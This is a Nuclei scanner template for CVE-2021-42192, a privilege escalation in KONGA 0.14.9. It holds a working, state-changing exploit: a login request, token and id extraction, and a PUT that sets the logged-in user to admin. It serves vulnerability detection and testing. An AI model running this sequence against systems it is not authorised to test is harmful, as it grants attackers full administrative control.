nuclei-templates/http/cves/2021/CVE-2021-42192.yaml

90 lines
2.7 KiB
YAML

id: CVE-2021-42192
info:
name: KONGA 0.14.9 - Privilege Escalation
author: rschio
severity: high
description: KONGA 0.14.9 allows attackers to set higher privilege users to full administration access. The attack vector is a crafted condition, as demonstrated by the /api/user/{ID} at ADMIN parameter.
remediation: |
Upgrade to a patched version of KONGA or apply the necessary security patches provided by the vendor.
reference:
- http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html
- https://www.exploit-db.com/exploits/50521
- hhttps://nvd.nist.gov/vuln/detail/CVE-2021-42192
- https://docs.google.com/document/d/1-YU9zWiDVUps3Mb6zos3996yvZ48vW_vfOvaJLLHc4I/edit?usp=sharing
- https://github.com/pantsel/konga/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-42192
cwe-id: CWE-863
epss-score: 0.0106
epss-percentile: 0.82509
cpe: cpe:2.3:a:konga_project:konga:0.14.9:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: konga_project
product: konga
tags: authenticated,edb,cve,cve2021,konga,intrusive
http:
- raw:
- |
POST /login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"password": "{{password}}", "identifier": "{{username}}"}
- |
POST /api/user/{{id}} HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Referer: {{BaseURL}}
Content-Type: application/json;charset=utf-8
{"token": "{{token}}"}
- |
PUT /api/user/{{id}} HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Referer: {{BaseURL}}
Content-Type: application/json;charset=utf-8
{"admin": "true", "passports": {"password": "{{password}}", "protocol": "local"}, "token": "{{token}}", "password_confirmation": "{{password}}"}
req-condition: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- contains(body_2, "\"admin\":false")
- contains(body_3, "\"admin\":true")
condition: and
- type: word
part: header
words:
- application/json
- type: status
status:
- 200
extractors:
- type: regex
name: id
group: 1
regex:
- '"id":([0-9]+)'
internal: true
part: body
- type: regex
name: token
group: 1
regex:
- '"token":"(.*)"'
internal: true
part: body
# digest: 4a0a00473045022100b4f83865df65a50624388798bc159bd15c3f6e4eddfa64ccb6fae1327c98fd330220569baba2a25f19a0a809184e5b782f82ed22ec5600e716d4dc3a4cd415783d43:922c64590222798bb761d5b6d8e72950